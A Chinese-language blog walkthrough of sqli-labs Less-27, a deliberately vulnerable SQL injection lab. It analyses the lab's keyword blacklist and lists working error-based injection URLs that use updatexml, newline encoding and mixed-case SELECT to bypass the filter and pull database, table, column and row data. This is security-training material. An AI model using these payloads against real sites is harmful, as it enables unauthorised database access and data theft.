目 录CONTENT

文章目录

sqli-labs系列——Less-27

CZ
CZ
2023-06-27 / 0 评论 / 2 点赞 / 338 阅读 / 4770 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

前言

从刚进去的主页我们可以看出这关可能将我们的union和select给过滤了,所以联合查询用不了了,可能要使用报错查询

分析源码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

使用gpt分析一下

这段代码是一个 PHP 函数,名为 `blacklist`,接收一个参数 `$id`。该函数的作用是将传入的 `$id` 字符串中的一些特殊字符和关键字进行过滤,以避免 SQL 注入等安全问题。

具体来说,该函数使用了 PHP 的正则表达式函数 `preg_replace`,依次对 `$id` 字符串进行了多次替换操作。其中,每个 `preg_replace` 函数的第一个参数是一个正则表达式,第二个参数是用于替换的字符串,第三个参数是需要进行替换的原始字符串。

该函数的具体操作如下:

- 第1行:使用正则表达式 `/[\/\*]/` 匹配 `$id` 字符串中的 `/*`,并将其替换为空字符串,即删除 `/*`。
- 第2行:使用正则表达式 `/[--]/` 匹配 `$id` 字符串中的 `--`,并将其替换为空字符串,即删除 `--`。
- 第3行:使用正则表达式 `/[#]/` 匹配 `$id` 字符串中的 `#`,并将其替换为空字符串,即删除 `#`。
- 第4行:使用正则表达式 `/[ +]/` 匹配 `$id` 字符串中的空格,将其替换为空字符串,即删除空格。
- 第5行:使用正则表达式 `/select/m` 匹配 `$id` 字符串中的 `select`,并将其替换为空字符串,即删除 `select`,这里的 `/m` 表示多行模式,即在多行文本中匹配。
- 第6行:使用正则表达式 `/[ +]/` 再次匹配空格,将其替换为空字符串,即删除空格。
- 第7行:使用正则表达式 `/union/s` 匹配 `$id` 字符串中的 `union`,并将其替换为空字符串,即删除 `union`,这里的 `/s` 表示单行模式,即在整个字符串中匹配。
- 第8~11行:同上,分别匹配 `$id` 字符串中的 `select`、`UNION`、`SELECT`、`Union`、`Select` 并将其删除。
- 第12行:将处理后的 `$id` 字符串返回。

总的来说,该函数的作用是将传入的 `$id` 字符串中的一些特殊字符和关键字进行删除,从而提高代码的安全性,防止 SQL 注入等安全问题。但是,该函数的过滤方式并不完全可靠,建议使用更加现代化的安全编程技术来避免安全问题。

简单来说就是跟之前一样过滤了一堆查询语句,甚至还过滤了全为大写的union和select还有全为小写的union和select,不过针对过滤还是有很多办法绕过的

实验环节

前期准备

由于还是要用空格字符替换空格,本题还是使用kali部署的sqli-labs

su -  root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs    #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令

浏览器访问Less-27地址

http://192.168.199.129/Less-27

image-1687834427991

构造闭合语句

http://192.168.199.129/Less-27/?id=1' and '1'='1
#由于这题我们通过分析源码得出and和or并没有过滤,所以这题我们可以直接用,不过--空格和#注释都被过滤了我们还是要通过'1'='1进行闭合

image-1687834501859

判断库名

http://192.168.199.129/Less-27/?id=1'and%0aupdatexml(1,concat(0x7e,(database()),0x7e),1)or '1'='1

image-1687834758288

判断表名

http://192.168.199.129/Less-27/?id=1'and%0aupdatexml(1,concat(0x7e,(selEct%0atable_name%0afrom%0a information_schema.tables%0awhere%0atable_schema='security'limit%0a0,1),0x7e),1)or '1'='1
#这块大家可能看到我依旧写了一个select,但是又有所不同,对于全大写或者全小写的select我们可以将其中一个字母转为大写,就可以避免被过滤

image-1687834873862

判断列名

http://192.168.199.129/Less-27/?id=1'and%0aupdatexml(1,concat(0x7e,(sElect%0acolumn_name%0afrom %0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand %0atable_name='emails'%0alimit%0a0,1),0x7e),1)or '1'='1

image-1687834940470

判断数据

http://192.168.199.129/Less-27/?id=1'and%0aupdatexml(1,concat(0x7e,(sElect%0aid%0afrom%0aemails%0alimit %0a0,1),0x7e),1)or '1'='1

image-1687834991384

2

评论区